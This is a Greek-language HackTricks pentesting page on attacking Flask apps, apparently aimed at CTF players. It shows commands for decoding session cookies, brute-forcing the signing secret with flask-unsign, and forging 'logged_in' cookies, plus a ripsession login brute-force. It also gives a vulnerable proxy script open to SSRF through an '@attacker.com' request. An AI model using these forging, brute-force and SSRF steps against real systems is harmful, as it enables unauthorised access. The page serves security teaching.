Flask

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Χρησιμοποιήστε το Trickest για να κατασκευάσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο. Αποκτήστε πρόσβαση σήμερα:

Πιθανώς αν παίζετε ένα CTF μια εφαρμογή Flask θα σχετίζεται με SSTI.

Cookies

Το προεπιλεγμένο όνομα συνεδρίας cookie είναι session.

Αποκωδικοποιητής

Online αποκωδικοποιητής Flask cookies: https://www.kirsle.net/wizards/flask-session.cgi

Χειροκίνητα

Λάβετε το πρώτο μέρος του cookie μέχρι το πρώτο σημείο και αποκωδικοποιήστε το Base64>

echo "ImhlbGxvIg" | base64 -d

Το cookie υπογράφεται επίσης χρησιμοποιώντας έναν κωδικό πρόσβασης

Flask-Unsign

Εργαλείο γραμμής εντολών για την ανάκτηση, αποκωδικοποίηση, δοκιμή βίας και δημιουργία cookies συνεδρίας μιας εφαρμογής Flask μαντεύοντας τα μυστικά κλειδιά.

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Χυδαιός Εξαναγκασμός

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Υπογραφή

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Υπογραφή χρησιμοποιώντας παλαιές εκδόσεις

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Εργαλείο γραμμής εντολών για brute-force ιστοσελίδες χρησιμοποιώντας cookies που δημιουργήθηκαν με το flask-unsign.

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Αυτό το παράδειγμα χρησιμοποιεί την επιλογή eval του sqlmap για αυτόματη υπογραφή των φορτίων του sqlmap για το Flask χρησιμοποιώντας έναν γνωστό μυστικό.

Flask Proxy για SSRF

Σε αυτή την ανάλυση εξηγείται πώς το Flask επιτρέπει ένα αίτημα που ξεκινά με τον χαρακτήρα "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Ποιο σε το παρακάτω σενάριο:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Θα μπορούσε να επιτρέψει την εισαγωγή κάτι σαν "@attacker.com" προκειμένου να προκαλέσει ένα SSRF.

Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας. Αποκτήστε πρόσβαση σήμερα:

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated